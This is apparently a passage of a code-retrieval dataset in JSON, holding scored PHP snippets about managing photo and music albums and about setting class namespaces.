"0.42555562", "text": "public function getAutoSyncAlbum() {\n\t\tColor::text(\"Looking for Auto Sync album...\\t\");\n\t\t$sets = $this->api->photosets_getList();\n\n\t\t$found = false;\n\t\tforeach($sets['photoset'] as $set) {\n\t\t\t$album = new Album($set);\n\t\t\t$this->albums[$album->name] = $album;\n\t\t\tif ($album->name == $this->autoSyncAlbumName) {\n\t\t\t\tColor::ok();\n\t\t\t\t$found = $album;\n\t\t\t}\n\t\t}\n\n\t\tif (!$found) {\n\t\t\tColor::text(\"FAIL!\\n\", Color::red);\n\t\t\texit;\n\t\t}\n\t\treturn $found;\n\t}", "title": "" }, { "docid": "6260aed289d3336ee2e4f0676de872c7", "score": "0.42549023", "text": "public function findSongs(Album $album)\n {\n return Song::select(DB::raw('\n songs.id, songs.title, songs.description, songs.lyric, songs.duration, songs.total_favorites, songs.total_plays,\n files.id as file_id, files.name, files.path, files.original_name, TIME_TO_SEC(songs.duration) as seconds, files.public\n '))\n ->where('songs.album_id',$album->id)\n ->leftJoin('files',function ($join) {\n $join->on('files.fileable_id','=','songs.id')\n ->where('files.fileable_type','=','App\\\\Song');\n })\n ->get();\n }", "title": "" }, { "docid": "8d88d409f858f50fd3f341a0b68d3462", "score": "0.42542145", "text": "function setAlbumPath($albumPath) {\n\t\t$this->albumPath = $albumPath;\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "cf5d049313e8e847d166322ffd67fd18", "score": "0.42460376", "text": "public function deleteAlbum(Album $album)\n {\n DB::beginTransaction();\n\n try{\n //1.- Delete the image\n $image = $album->image;\n if($image){\n $image->delete();\n }\n\n //2.- Delete song and song file\n $songs = $album->songs;\n foreach ($songs as $song) {\n // Remove tags\n $song->untag();\n \n // Delete song from any playlist\n $this->playlistRepository->deleteSongFromPlaylists($song->id);\n // Delete song from favorites\n $this->playlistRepository->deleteSongFromAllFavorites($song->id);\n\n $file = $song->file;\n if($file){\n $file->delete();\n }\n $song->delete();\n }\n\n //3.- Delete album\n $album->delete();\n\n DB::commit();\n return true;\n }catch (\\Exception $e){\n DB::rollBack();\n Log::error($e);\n return false;\n }\n }", "title": "" }, { "docid": "7b2352ce4782bc4885efb70254e0f814", "score": "0.42458096", "text": "function getAlbum()\r\n\t{\r\n\t\t$db \t= JFactory::getDBO();\r\n\t\t$query \t= $db->getQuery(true);\r\n\t\t$query->clear()\r\n\t\t\t\t->select(array('DISTINCT (a.id)','a.album_name','a.description','b.album_id','b.album_cover','b.image'))\r\n\t\t\t\t->from('#__simplephotogallery_album AS a')\r\n\t\t\t\t->leftJoin('#__simplephotogallery_images AS b ON b.album_id = a.id AND b.album_cover = 1')\r\n\t\t\t\t->where($db->quotename('a.published') . ' = ' . $db->quote('1'))\r\n\t\t\t\t->group($db->escape('a.id'))\r\n\t\t\t\t->order($db->escape('a.id' . ' ' . 'DESC'));\t\t\r\n\t\t$db->setQuery($query);\r\n $album \t= $db->loadObjectList();\r\n return $album;\r\n\t}", "title": "" }, { "docid": "9b412ea232b06175f4730fa651a64711", "score": "0.42251566", "text": "function assume_bottom_position(&$Model) {\n $position_column = $this->settings[$Model->alias]['column'];\n $position = $this->bottom_position_in_list($Model, $Model->data) + 1;\n return $Model->saveField($position_column, $position);\n\n }", "title": "" }, { "docid": "f497ea2a44c28d9dcfc2bac365074c50", "score": "0.42202628", "text": "public function getAlbums($objectId = null)\n {\n return $this->_apiGet('albums', $objectId);\n }", "title": "" }, { "docid": "e1cadee8909bdc624b116e8c6a136966", "score": "0.41998553", "text": "public function userAlbums( array $params )\n {\n if ( empty($params['user']) || !mb_strlen($username = trim($params['user'])) )\n {\n throw new Redirect404Exception();\n }\n \n if ( ($user = BOL_UserService::getInstance()->findByUsername($username)) === null )\n {\n throw new Redirect404Exception();\n }\n \n $this->assign('userId', $user->id);\n\n // meta info\n $vars = BOL_SeoService::getInstance()->getUserMetaInfo($user);\n\n $params = array(\n \"sectionKey\" => \"photo\",\n \"entityKey\" => \"userAlbums\",\n \"title\" => \"photo+meta_title_user_albums\",\n \"description\" => \"photo+meta_desc_user_albums\",\n \"keywords\" => \"photo+meta_keywords_user_albums\",\n \"vars\" => $vars,\n \"image\" => BOL_AvatarService::getInstance()->getAvatarUrl($user->getId(), 2)\n );\n\n OW::getEventManager()->trigger(new OW_Event(\"base.provide_page_meta_info\", $params));\n }", "title": "" }, { "docid": "4dc3c733009f5c0dd69e9ab45872ffe1", "score": "0.41967162", "text": "public function userAlbum( array $params )\n {\n if (\n empty($params['user']) || ($userDto = BOL_UserService::getInstance()->findByUsername($params['user'])) === null ||\n empty($params['album']) || ($album = $this->photoAlbumService->findAlbumById($params['album'])) === null\n )\n {\n throw new Redirect404Exception();\n }\n\n OW::getEventManager()->trigger(new OW_Event('photo.user_album_view', array(\n 'album' => $album\n )));\n\n OW::getDocument()->setTitle(\n OW::getLanguage()->text('photo', 'meta_title_photo_useralbum', array(\n 'displayName' => BOL_UserService::getInstance()->getDisplayName($userDto->id),\n 'albumName' => $album->name\n ))\n );\n\n $isOwner = $album->userId == OW::getUser()->getId();\n $isModerator = OW::getUser()->isAuthorized('photo');\n \n $this->assign('isModerator', $isModerator);\n $this->assign('isOwner', $isOwner);\n $this->assign('album', $album);\n\n $coverEvent = OW::getEventManager()->trigger(\n new OW_Event(PHOTO_CLASS_EventHandler::EVENT_GET_ALBUM_COVER_URL, array('albumId' => $album->id))\n );\n $coverData = $coverEvent->getData();\n \n $this->assign('coverUrl', $coverData['coverUrl']);\n $this->assign('coverUrlOrig', $coverData['coverUrlOrig']);\n \n if ( $isOwner || $isModerator )\n {\n $form = new PHOTO_CLASS_AlbumEditForm($album->id);\n $this->addForm($form);\n $this->assign('extendInputs', $form->getExtendedElements());\n\n $exclude = array($album->id);\n $newsfeedAlbum = PHOTO_BOL_PhotoAlbumService::getInstance()->getNewsfeedAlbum($album->userId);\n \n if ( !empty($newsfeedAlbum) )\n {\n $exclude[] = $newsfeedAlbum->id;\n }\n\n $albumNameList = $this->photoAlbumService->findAlbumNameListByUserId($userDto->id, $exclude);\n $this->assign('albumNameList', $albumNameList);\n \n OW::getDocument()->addScriptDeclarationBeforeIncludes(\n UTIL_JsGenerator::composeJsString(';window.albumParams = Object.freeze({$params});', array(\n 'params' => array(\n 'url' => OW::getRouter()->urlFor('PHOTO_CTRL_Photo', 'ajaxResponder'),\n 'album' => $album,\n 'isClassic' => (bool)OW::getConfig()->getValue('photo', 'photo_list_view_classic'),\n 'albumNameList' => array_values($albumNameList)\n )\n ))\n );\n\n OW::getDocument()->addScript(OW::getPluginManager()->getPlugin('photo')->getStaticJsUrl() . 'album.js');\n OW::getDocument()->addOnloadScript(';window.photoAlbum.init();');\n \n $lang = OW::getLanguage();\n \n $lang->addKeyForJs('photo', 'move_to_new_album');\n $lang->addKeyForJs('photo', 'no_photo_selected');\n $lang->addKeyForJs('photo', 'crop_photo_title');\n $lang->addKeyForJs('photo', 'set_as_cover_label');\n $lang->addKeyForJs('photo', 'are_you_sure');\n $lang->addKeyForJs('photo', 'confirm_delete_photos');\n $lang->addKeyForJs('photo', 'photo_deleted');\n $lang->addKeyForJs('photo', 'photos_deleted');\n $lang->addKeyForJs('photo', 'photo_album_updated');\n $lang->addKeyForJs('photo', 'to_small_cover_img');\n $lang->addKeyForJs('photo', 'album_name_error');\n $lang->addKeyForJs('photo', 'newsfeed_album');\n $lang->addKeyForJs('photo', 'photo_success_moved');\n }\n\n // meta info\n $vars = BOL_SeoService::getInstance()->getUserMetaInfo($userDto);\n $vars[\"album_name\"] = $album->name;\n\n $params = array(\n \"sectionKey\" => \"photo\",\n \"entityKey\" => \"userAlbum\",\n \"title\" => \"photo+meta_title_user_album\",\n \"description\" => \"photo+meta_desc_user_album\",\n \"keywords\" => \"photo+meta_keywords_user_album\",\n \"vars\" => $vars,\n \"image\" => BOL_AvatarService::getInstance()->getAvatarUrl($userDto->getId(), 2)\n );\n\n OW::getEventManager()->trigger(new OW_Event(\"base.provide_page_meta_info\", $params));\n }", "title": "" }, { "docid": "4869c55f07e572e78dc7ead84fa59089", "score": "0.41898495", "text": "public function getAlbums( $start ){\n\t\t$albums = $this->model->getAlbums( $start );\n\t\t\n\t\tif ( $albums !== NULL ) \n\t\t\treturn $albums;\n\t\telse\n\t\t\treturn false;\t\n\t}", "title": "" }, { "docid": "0992c275694249b6154c5f74e71e37dc", "score": "0.41864738", "text": "public function viewalbumAction() {\n \n // Get sitepage and album\n if (Engine_Api::_()->core()->getSubject()->getType() == 'sitepage_page') {\n $sitepage = Engine_Api::_()->core()->getSubject('sitepage_page');\n } else {\n $sitepage = Engine_Api::_()->core()->getSubject()->getParent();\n }\n\n $album_id = $this->_getParam('album_id', 0);\n \n // Albums order\n $albums_order = Engine_Api::_()->getApi('settings', 'core')->getSetting('sitepagealbum.albumsorder', 1);\n \n $photoCreate = Engine_Api::_()->sitepage()->isManageAdmin($sitepage, 'spcreate');\n\n $isManageAdmin = Engine_Api::_()->sitepage()->isManageAdmin($sitepage, 'edit');\n if (empty($isManageAdmin)) {\n $canEdit = 0;\n } else {\n $canEdit = 1;\n }\n\n $album = Engine_Api::_()->getItem('sitepage_album', $album_id);\n $album_data = $album->toArray();\n\n $album_data = array_merge($album_data , Engine_Api::_()->getApi('Core', 'siteapi')->getContentImage($album));\n $album_data = array_merge($album_data , Engine_Api::_()->getApi('Core', 'siteapi')->getContentImage($album,true));\n $album_data['owner_title'] = $album->getOwner()->getTitle();\n\n // Getting viewer like or not to content.\n $album_data[\"is_like\"] = (bool) Engine_Api::_()->getApi('Core', 'siteapi')->isLike($album);\n\n $photos_per_page = $this->_getParam('itemCount_photo', 20);\n \n $paramsPhoto = array();\n $paramsPhoto['page_id'] = $sitepage->page_id;\n $paramsPhoto['album_id'] = $album_id;\n $total_photo = Engine_Api::_()->getDbtable('photos', 'sitepage')->getPhotosCount($paramsPhoto);\n $currentPageNumbers = $this->_getParam('page', 1);\n\n // Start photos pagination\n $page_vars = Engine_Api::_()->sitepage()->makePage($total_photo, $photos_per_page, $currentPageNumbers);\n $page_array = Array();\n for ($x = 0; $x <= $page_vars[2] - 1; $x++) {\n if ($x + 1 == $page_vars[1]) {\n $link = \"1\";\n } else {\n $link = \"0\";\n }\n $page_array[$x] = Array('page' => $x + 1,\n 'link' => $link);\n }\n $paramsPhoto['start'] = $photos_per_page;\n $paramsPhoto['end'] = $page_vars[0];\n if (empty($albums_order)) {\n $paramsPhoto['photosorder'] = 'album_id ASC';\n } else {\n $paramsPhoto['photosorder'] = 'album_id DESC';\n }\n \n $paginators = Engine_Api::_()->getDbtable('photos', 'sitepage')->getPhotos($paramsPhoto);\n $photos = array();\n if ($paginators->count() > 0) {\n foreach ($paginators as $photo) {\n $data = $photo->toArray();\n $data = array_merge($data , Engine_Api::_()->getApi('Core', 'siteapi')->getContentImage($photo, false));\n $data = array_merge($data , Engine_Api::_()->getApi('Core', 'siteapi')->getContentImage($photo, true));\n $data['menu'] = $this->getPhotoMenu($photo);\n $photos[] = $data;\n unset($data);\n }\n } else\n $photos = null;\n \n $response = array();\n $response['totalPhotoCount'] = $total_photo;\n $response['album'] = $album_data;\n $response['gutterMenu'] = $this->_albumGutterMenus();\n $response['albumPhotos'] = $photos;\n $this->respondWithSuccess($response, true);\n }", "title": "" }, { "docid": "3027604035b77f5944ba2d1fd5b2750f", "score": "0.41810474", "text": "public function generateMoveAlbumLeftURL(int $id, string $albumId, string $argSeparator): string;", "title": "" }, { "docid": "95cda8395f3258b70c6990f72da6ab54", "score": "0.41795358", "text": "public function store()\n {\n $this->validate($this->request, $this->rules($this->request));\n\n $created = $this->mediaManager->createAlbum();\n\n $this->forgetQuery('albums');\n\n return redirect()->route('admin::albums.index')\n ->with($this->successSaveStatus($created->id));\n }", "title": "" }, { "docid": "2620dc8fb549821d4457bda2fd26af0e", "score": "0.4167603", "text": "public function show(ModelAlbum $modelAlbum) {\n //\n }", "title": "" }, { "docid": "3028c21f2e5177480903b05be9ea0426", "score": "0.41668233", "text": "public static function addAlbum($title)\n {\n return VK::send('video.addAlbum', [\n 'group_id' => G_ID,\n 'title' => $title\n ], T_USR);\n }", "title": "" }, { "docid": "120940e29419013a8216247f2fc3b8a2", "score": "0.41663125", "text": "public function getAllAlbums() {\n\t\t$results = $this->_db->query( \"SELECT * FROM albums\" );\n\t\t\n\t\tif ( $results ) {\n\t\t\t$albums = array();\n\t\t\twhile ( $row = $results->fetch_assoc() )\n\t\t\t\t$albums[] = $row;\n\n\t\t\treturn $albums;\n\t\t}\n\t\t\n\t\treturn NULL;\n\t}", "title": "" }, { "docid": "0e87701d6b8b10a472da41fec62f115f", "score": "0.41654944", "text": "public function update(Request $request, Album $album)\n {\n $album->album_title_uz = $request->album_title_uz;\n $album->album_title_cyrl = $request->album_title_cyrl;\n $album->album_title_ru = $request->album_title_ru;\n $album->album_title_en = $request->album_title_en;\n if($request->file('album_image')){\n $album->album_image = $request->file('album_image')->store('Albums', 'public');\n }\n $album->save();\n return redirect()->route('albums.index')->with('message', 'Album has been created successfully');\n }", "title": "" }, { "docid": "758c17b5f8b6d483269dda9ef310a7fa", "score": "0.4162104", "text": "public function album()\n {\n return $this->belongsTo('App\\Album', 'album_id');\n }", "title": "" } ]
becde6480637cd3d587b7e65574f401b
Set the current namespace of class.
[ { "docid": "cd6a1bcc96ce92ec8a0d5509c49212fb", "score": "0.6082314", "text": "public function setNamespace(string $namespace)\r\n {\r\n $this->namespace = str_replace('/', '\\\\', $namespace);\r\n\r\n return $this;\r\n }", "title": "" } ]
[ { "docid": "8a9a414e8cb38c2115e8aecfd8809311", "score": "0.7166344", "text": "public function setNamespace($namespace);", "title": "" }, { "docid": "c5d97863d0e5533312bf53defbad7ef2", "score": "0.71658367", "text": "public function set_namespace_property() {\n\t\t\t$this->namespace = 'wds-training/v' . $this->version;\n\t\t}", "title": "" }, { "docid": "8bf0d25cf0968ff927f07af3e75932cd", "score": "0.68273985", "text": "public function setNamespace($name)\n {\n }", "title": "" }, { "docid": "b11b4fca72aa468d852b841db37326cb", "score": "0.6699068", "text": "public function setNamespace($namespace) {\n\n\t $namespace = str_replace('.', '\\\\', $namespace);\n\t\t$this->namespace = $namespace;\n\t}", "title": "" }, { "docid": "653d405a9e41d6c6f8563b94c39a4c53", "score": "0.64707214", "text": "public function setNamespace( $namespace ) {\r\n $this->namespace = $namespace;\r\n }", "title": "" }, { "docid": "f1b47e9b2d0cd4b75af50106e2374a71", "score": "0.6441829", "text": "protected function _namespace() {\n\t\treturn substr(get_class($this), 0, strrpos(get_class($this), '\\\\'));\n\t}", "title": "" }, { "docid": "ba62d119a16d043a2c805083c006a459", "score": "0.6363006", "text": "public static function setNamespace(string $namespace): void\n {\n self::$namespace = $namespace;\n }", "title": "" }, { "docid": "661c0c602811a7e711956011f7d629d0", "score": "0.6338448", "text": "abstract public function getNamespace();", "title": "" }, { "docid": "54c5f118671538d1f57382c639098ea4", "score": "0.6318617", "text": "public function setNamespace($namespace)\n {\n $this->namespace = $namespace;\n }", "title": "" }, { "docid": "63ad94abe9e95332805347fd3b678dd9", "score": "0.6303331", "text": "public function setNamespace($namespace) {\n $this->namespace = $namespace;\n }", "title": "" }, { "docid": "ec7dd3589f13d0aa074ac6c67a17b50b", "score": "0.62810296", "text": "protected function __construct ()\n {\n $exploded_namespace = explode('\\\\', get_class($this));\n $class = array_pop($exploded_namespace);\n\n $namespace = implode('\\\\', $exploded_namespace);\n\n $this->mNamespace = implode('\\\\', $exploded_namespace);\n }", "title": "" }, { "docid": "c6c52ae985c96addaceb3df2dae07c68", "score": "0.6278029", "text": "public function getNamespace();", "title": "" }, { "docid": "8a08fce33b7d2693f5afc4e38ff77718", "score": "0.6254355", "text": "public function getNamespace()\n {\n }", "title": "" }, { "docid": "9596485207e2dd8eb5d7e5aff949c9a0", "score": "0.6242299", "text": "public function setNamespaceName($namespaceName);", "title": "" }, { "docid": "f83d3c95ef6c2a8c7913d897268c97ec", "score": "0.61941785", "text": "protected function setRootControllerNamespace()\n {\n if (! is_null($this->namespace)) {\n $this->app[UrlGenerator::class]->setRootControllerNamespace($this->namespace);\n }\n }", "title": "" }, { "docid": "6235e5957c5c328e51baaeb07ab6b272", "score": "0.61854446", "text": "public function set_controller_namespace($new_namespace)\r\n {\r\n assert(is_string($new_namespace));\r\n \r\n $this->m_controller_ns = $new_namespace;\r\n }", "title": "" }, { "docid": "a8b01f840807d1f223863a2bfc5ddf48", "score": "0.6171574", "text": "protected function setCurrentNamespace($namespace)\n {\n $this->namespace = $namespace;\n return $this;\n }", "title": "" }, { "docid": "caf9085206d09d5d448c4bcfa8054fec", "score": "0.605362", "text": "public function setNamespace($var)\n {\n GPBUtil::checkString($var, True);\n $this->namespace = $var;\n\n return $this;\n }", "title": "" }, { "docid": "caf9085206d09d5d448c4bcfa8054fec", "score": "0.605362", "text": "public function setNamespace($var)\n {\n GPBUtil::checkString($var, True);\n $this->namespace = $var;\n\n return $this;\n }", "title": "" }, { "docid": "caf9085206d09d5d448c4bcfa8054fec", "score": "0.605362", "text": "public function setNamespace($var)\n {\n GPBUtil::checkString($var, True);\n $this->namespace = $var;\n\n return $this;\n }", "title": "" }, { "docid": "a21f65cd049374056a238f27813e6544", "score": "0.59736437", "text": "function getNamespace();", "title": "" }, { "docid": "3288d8b49dced551fd92f924672fac89", "score": "0.5962783", "text": "public function setNamespace($namespace)\n {\n // Clean up the string, make sure there's no trailing\n // delimiter character since we're going to re-append it.\n $this->namespace = rtrim(\n $namespace,\n '. '\n );\n\n // Append delimiter\n $this->namespace .= '.';\n\n return $this;\n }", "title": "" }, { "docid": "d62c273900aa2b3ef053237fcddf83d3", "score": "0.5927143", "text": "public function getNamespace()\n {\n $class = get_class($this);\n\n return substr($class, 0, strrpos($class, '\\\\'));\n }", "title": "" }, { "docid": "c8286a182ff8cbcf440dd5ee44f4965b", "score": "0.5921302", "text": "private function setNamespace($mNamespace = true) {\n\t\tif(false === $mNamespace || null === $mNamespace || trim($mNamespace) == '') {\n\t\t\t$this->unsetNamespace();\n\t\t} elseif(true !== $mNamespace) {\n\t\t\tif(true !== $mMessage = $this->validateName($mNamespace)) {\n\t\t\t\tthrow new Exception($mMessage);\n\t\t\t}\n\t\t\t$this->bNamespace = true;\n\t\t\t$this->sNamespace = $mNamespace;\n\t\t} else {\n\t\t\t$this->bNamespace = true;\n\t\t\t$this->sNamespace = $this->sDefaultNamespace;\n\t\t}\n\t}", "title": "" }, { "docid": "bfc7221bf70e7748730f7ff532cfd9ad", "score": "0.5905446", "text": "public function setContainingNamespace(/*?INamespaceData*/ $value) /*: this*/ {\n $this->containingNamespace = $value;\n return $this;\n }", "title": "" }, { "docid": "96c11a11e2c072f4cce66a50ed6e3c3d", "score": "0.5881053", "text": "public function getCurrentNamespace()\n {\n return ($this->namespace === null) ? $this->getDefaultNamespace() : $this->namespace;\n }", "title": "" }, { "docid": "9131d402c21152966c5cf33b1f3efd38", "score": "0.58737737", "text": "protected function setClassName($classname)\n{\n $this->classname = sprintf('%s\\\\%s', $this->namespace, $classname);\n}", "title": "" }, { "docid": "6ab948540507d347aa7940181dbea400", "score": "0.5869603", "text": "function testNamespaceSet()\n {\n Options_Model_Options_Manager::setNamespace(__CLASS__, array($this->_key => $this->_object));\n Options_Model_Options_Manager::clearCache(null, __CLASS__);\n \n $result = Options_Model_Options_Manager::getNamespace(__CLASS__);\n $this->assertEquals($result, array($this->_key => $this->_object));\n }", "title": "" }, { "docid": "062dcebd8a2e74e441bd6b27315b5b29", "score": "0.583516", "text": "public function setNamespace($namespace)\n {\n $this->config['namespace'] = $namespace;\n }", "title": "" }, { "docid": "8d72f6b9a928f8eaa84fe2d2ac60b710", "score": "0.576927", "text": "protected function resolveNamespace()\n {\n if(isset($this->namespace))\n {\n return $this->namespace;\n }\n\n $reflection = new \\ReflectionClass($this);\n return $this->namespace = $reflection->getNamespaceName();\n }", "title": "" }, { "docid": "0429ff3b2d1c420661685144f8689cc8", "score": "0.5756431", "text": "public function getNamespace() {\n return $this->_namespace;\n }", "title": "" }, { "docid": "4bac16fddec2d710d022c3e7fdb7887b", "score": "0.57408726", "text": "public function setControllerNamespace($namespace)\n {\n $this->controllersNamespace = trim($namespace, ' \\\\');\n }", "title": "" }, { "docid": "48353fdee987d7dc1b8e052e7d532721", "score": "0.57338923", "text": "public function getNamespace()\r\n {\r\n return $this->namespace;\r\n }", "title": "" }, { "docid": "013dd7669ce37ce70b16ad0a8aa5f63d", "score": "0.5717909", "text": "public function setDefaultNamespace($URI);", "title": "" }, { "docid": "5bc5fd7dbdbaf1a811c55c1cbb1d242d", "score": "0.57138103", "text": "public function namespaces()\n {\n }", "title": "" }, { "docid": "c94b92e8bd675751cb65a477640e2649", "score": "0.5713807", "text": "public function getNamespace(){\n\t\treturn $this->namespace;\n\t}", "title": "" }, { "docid": "555522660eccfe782c948469cbca2799", "score": "0.5701664", "text": "public function getNamespace()\n {\n return $this->_namespace;\n }", "title": "" }, { "docid": "555522660eccfe782c948469cbca2799", "score": "0.5701664", "text": "public function getNamespace()\n {\n return $this->_namespace;\n }", "title": "" }, { "docid": "d456b0e0be768e4963b71dcb0f4355e8", "score": "0.56932664", "text": "private function _getNamespace()\n {\n $ns = explode('_', get_class($this));\n return $ns[0];\n }", "title": "" }, { "docid": "d774bf03f2ca1780d0d362580b548d7c", "score": "0.5691648", "text": "public function getNamespace() {\n return $this->namespace;\n }", "title": "" }, { "docid": "2e4bfc7969497920acc04c2c43cd6576", "score": "0.5681191", "text": "abstract protected function getDefaultNamespace();", "title": "" }, { "docid": "6076faa9bed4fb0ea86c2df633dfa9cd", "score": "0.5666454", "text": "protected function getNamespace(): string\n {\n if (array_key_exists('namespace', $this->params)) {\n $this->namespace .= $this->params['namespace'] . '\\\\';\n }\n return $this->namespace;\n }", "title": "" }, { "docid": "62f80f29baf745e8ce5d323a6cf33ec8", "score": "0.566074", "text": "public function getNamespace() {\r\n return $this->namespace;\r\n }", "title": "" }, { "docid": "de36673535ec019d7dfc822406a01ee4", "score": "0.5647161", "text": "public function getNamespace() {\n\n\t\treturn new ReflectionClassNamespace($this);\n\t}", "title": "" }, { "docid": "23cfba6361999f1d7e80fa35e1e72d99", "score": "0.564478", "text": "public function setControllersNamespace($namespace);", "title": "" }, { "docid": "4f1a50b0a039255de4c3aa8e41cdce60", "score": "0.56351066", "text": "public function getNamespace()\n {\n return $this->namespace;\n }", "title": "" }, { "docid": "4f1a50b0a039255de4c3aa8e41cdce60", "score": "0.56351066", "text": "public function getNamespace()\n {\n return $this->namespace;\n }", "title": "" }, { "docid": "4f1a50b0a039255de4c3aa8e41cdce60", "score": "0.56351066", "text": "public function getNamespace()\n {\n return $this->namespace;\n }", "title": "" }, { "docid": "4f1a50b0a039255de4c3aa8e41cdce60", "score": "0.56351066", "text": "public function getNamespace()\n {\n return $this->namespace;\n }", "title": "" }, { "docid": "4f1a50b0a039255de4c3aa8e41cdce60", "score": "0.56351066", "text": "public function getNamespace()\n {\n return $this->namespace;\n }", "title": "" }, { "docid": "641609d229da291659752c636c760f14", "score": "0.56328297", "text": "function __construct($namespace = 'window') {\n \n $this->namespace = is_array($namespace) ? $namespace['namespace'] : $namespace;\n }", "title": "" }, { "docid": "5c6c3ff72772d8f976467cdb2468eff1", "score": "0.5629456", "text": "private function setupNamespaces(): self\n {\n $namespace = $this->getNamespace();\n\n $this->graphqlNamespaces = [\n 'controllers' => [\n $namespace . '\\\\Graphql\\\\Controllers\\\\',\n ],\n 'types' => [\n $namespace . '\\\\Graphql\\\\Types\\\\',\n ],\n ];\n\n $this->loadNamespaces();\n\n return $this;\n }", "title": "" }, { "docid": "3d66becada40b485a1770264b03719d8", "score": "0.5628412", "text": "private function getNamespace() {\n return $this->namespace;\n }", "title": "" }, { "docid": "ae87db4d11ec8aab92860e87d38703f4", "score": "0.56122947", "text": "public function registerNamespace($namespace);", "title": "" }, { "docid": "44fa9d32226674645eac06f64fbcbeaf", "score": "0.5610209", "text": "public function set($name, $value, $namespace = 'default');", "title": "" }, { "docid": "c45cd5c5cb09d3090fe0d00049a1debf", "score": "0.5609617", "text": "public static function view_namespace()\n\t{\n\t\treturn __NAMESPACE__;\t\n\t}", "title": "" }, { "docid": "80c79d5c26b8c68c940381cf9afa13c0", "score": "0.5605717", "text": "public function getNamespaceName();", "title": "" }, { "docid": "56d0a7b81246a82d2517b4b38b12cc21", "score": "0.5604567", "text": "protected function setClass() {\n\t\t\tif(isset($this->prefix) && $this->prefix !== '') {\n\t\t\t\t$class = $this->prefix.'_';\n\t\t\t\tif(class_exists($class) || class_exists($this->namespace.'\\\\'.$class)) {\n\t\t\t\t\treturn new $class;\n\t\t\t\t}\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "65e14060c33dcdf7149a3c4eeb8f8a2f", "score": "0.55753726", "text": "public function getNamespace() {\n return $this->namespace;\n }", "title": "" }, { "docid": "2581854fbbb18f3c7e9f891b958369b2", "score": "0.5571418", "text": "public function setNamespace($namespace)\n {\n $this->adapter->setNamespace($namespace);\n\n return parent::setNamespace($namespace);\n }", "title": "" }, { "docid": "0d92bdd64405e489cf6e8a9e8efe7759", "score": "0.5570825", "text": "protected function getNamespace()\n {\n return $this->namespace;\n }", "title": "" }, { "docid": "44f690b9f5cab34dd398c7d12f772509", "score": "0.55671406", "text": "public function getNamespace()\n\t{\n\t\treturn $this->namespace;\n\t}", "title": "" }, { "docid": "44f690b9f5cab34dd398c7d12f772509", "score": "0.55671406", "text": "public function getNamespace()\n\t{\n\t\treturn $this->namespace;\n\t}", "title": "" }, { "docid": "f6add0edc662efabfee75c05068d3309", "score": "0.55642617", "text": "protected function getNamespace()\n {\n return null;\n }", "title": "" }, { "docid": "7bb46876e48a71b431040ae51a9be9c0", "score": "0.5520586", "text": "public function setNamespace($namespace)\n {\n $this->namespace = $namespace;\n return $this;\n }", "title": "" }, { "docid": "f2f798a89e7c529b9d82327105bdb3f5", "score": "0.5488592", "text": "public function setControllerNamespace($FQN)\n {\n $this->getControllerBuilder()->setControllerRootNamesapce($FQN);\n }", "title": "" }, { "docid": "85f051b4b58fd519c2f67094384622d3", "score": "0.5470564", "text": "public function setControllerRootNamesapce($FQN);", "title": "" }, { "docid": "77166bf9334e1c4ed69ee50d60c3a1db", "score": "0.5468891", "text": "public function useNamespace($namespace)\n {\n $this->namespace = trim($namespace, '\\\\') . '\\\\';\n\n return $this;\n }", "title": "" }, { "docid": "67f555ab8f46742e1a9f735b75229b99", "score": "0.5456297", "text": "function getNamespace() {\n\t\tassert(false);\n\t}", "title": "" }, { "docid": "e10fd414f7564e168196e7c60c3986f8", "score": "0.5456284", "text": "public function of($namespace);", "title": "" }, { "docid": "15fbd21da82fee00250654341f6a8214", "score": "0.5454848", "text": "public function getNamespace($key);", "title": "" }, { "docid": "e0a28a62a39a59554c56171ad170f283", "score": "0.5454373", "text": "public function set_repository_namespace($new_namespace)\r\n {\r\n assert(is_string($new_namespace));\r\n \r\n $this->m_repository_ns = $new_namespace;\r\n }", "title": "" }, { "docid": "3769e6582ed99d3ad1724a37281b03e0", "score": "0.5449515", "text": "public function getNamespace()\n {\n if (isset($this->parent_model)) {\n return sprintf('%s\\\\%s', $this->getAPI()->getNamespace(), $this->parent_model->getClassName());\n } else {\n return $this->getAPI()->getNamespace();\n }\n }", "title": "" }, { "docid": "2c037a17da54a21f3b849f4c94d00a85", "score": "0.54367834", "text": "public function setNamespace($namespace)\n {\n if (empty($namespace)) {\n $this->_namespace = '';\n return;\n }\n\n if (!is_string($namespace) || !preg_match('/[a-z0-9_\\.]+/i', $namespace)) {\n throw new AmfException('Invalid namespace');\n }\n\n $this->_namespace = $namespace;\n }", "title": "" }, { "docid": "d33cabeb89fc64fdef7d17923cf0b4d5", "score": "0.5433339", "text": "public function getNamespace(): string\n {\n return Str::of($this->namespace)->start('\\\\')->toString();\n }", "title": "" }, { "docid": "9d2b0be34ae5b73cd5ebc44743015245", "score": "0.54304504", "text": "public function getNamespace(): string\n {\n return $this->namespace;\n }", "title": "" }, { "docid": "741c506db3bf9ca404c7968d40a9e562", "score": "0.54135704", "text": "public function getNamespace()\n {\n if ($this->_namespace === null) {\n if (isset($this->_params['namespaces'])) {\n $this->_namespace = $this->_factory->createNamespace(\n 'config', $this->getAuth(), $this->_params['namespaces']\n );\n } else {\n $this->_namespace = $this->_factory->createNamespace(\n 'fixed', $this->getAuth()\n );\n }\n }\n return $this->_namespace;\n }", "title": "" }, { "docid": "7777920c125e32ea0835da1920af901e", "score": "0.54035044", "text": "public function registerNamespaces(): self\n {\n foreach ($this->modules as $module) {\n chdir($this->modulesDir . $module->getName());\n\n foreach ($module->getNamespaces() as $namespace => $dir) {\n if (is_array($dir)) {\n foreach ($dir as $curDir) {\n Aelix::autoloader()->addNamespace($namespace, realpath($curDir));\n }\n } elseif (is_string($dir)) {\n Aelix::autoloader()->addNamespace($namespace, realpath($dir));\n }\n }\n }\n\n chdir(DIR_START);\n\n return $this;\n }", "title": "" }, { "docid": "f48ac3b272b500fbc970a7d1e64a7e24", "score": "0.5374985", "text": "public function getNamespace()\n {\n return $this->getNamespaceFromDir($this->kernelRootDir.'/../src', $this->getPath());\n }", "title": "" }, { "docid": "baa01598b91884075ad7e8e2c355c69c", "score": "0.53721464", "text": "public function setNamespaces(array $namespaces)\n {\n $this->namespaces = $namespaces;\n }", "title": "" }, { "docid": "2c96b8acae214be3124ab0fbb7851267", "score": "0.53678745", "text": "public function setDefaultNamespaceName($name) {\n\t\t$this->_defaultNamespaceName = $name;\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "ee53f691e6e1df80b1e0cb5d6be6016c", "score": "0.5344491", "text": "public function getNamespace() {\n\t\treturn 